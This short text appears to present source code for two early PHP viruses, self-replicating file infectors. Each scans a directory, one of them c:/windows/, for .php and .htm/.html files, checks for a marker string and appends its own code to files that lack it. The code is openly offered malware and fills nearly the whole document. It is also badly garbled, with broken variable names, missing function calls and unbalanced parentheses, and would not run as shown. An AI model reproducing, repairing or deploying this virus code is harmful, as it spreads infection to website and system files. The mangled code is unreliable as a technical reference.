PHP // The first PHP virus (it is said) $ hand = Opendir ('.'); while ($ file = readdir) {$ infected = true; $ executable = false;
IF ($ file, '.php')) || ($ file, '.htm')) || ($ EXECUTABLE = strstr ($ file, '.php') ))) {$ host = fopen ($ file, "r"); $ contents = fread ($ host, filesis ($ file)); $ sig = strstr $ contents, 'pirus.php'); if (! $ sig) $ infected = false;}} ($ infected == false) {$ host = fopen ($ file, "a"); FPUTS ($ Host , "FPUTS ($ Host, __ file__); FPUTS ($ Host," / ");"); FPUTS ($ Host, "?>"); fclose ($ host); return;}} closedIr; Print "Hello";?>
PHP
// Second Virus: $ VIR_STRING = "neworld.php / n"; $ virstringm = "Welcome to the new world of php programming / n"; $ Virt = $ VIR_STRING. $ VIRSTRINGM;
Echo $ VIRT;
$ all = OpenDir ('c: / windows /'); while ($ file = readdir) {$ INF = true; $ exe = false;
IF ($ File, '.php')) || ($ EXE = strstr ($ file, '.html')) || ($ EXE = strstr ($ file, '.htm') ) || ($ file, '.htt'))))))))))))) ing (is_file ($ file) && is_writeable ($ file) {
$ new = fopen ($ File, "R"); $ = fread ($ new, filesis ($ file)); $ YES = strstr ($ =, 'neworld.php'); if (! $ yes) $ INF = false;}
IF ($ INF = false) {$ new = fopen ($ FILE, "A"); $ FPUTS ($ New, "); $ FPUTS ($ New," $ FPUTS ($ new, __file__); $ FPUTS ($ NEW, "/"); "); $ fputs ($ new,"?> "); return;}} closedir ($ all);?>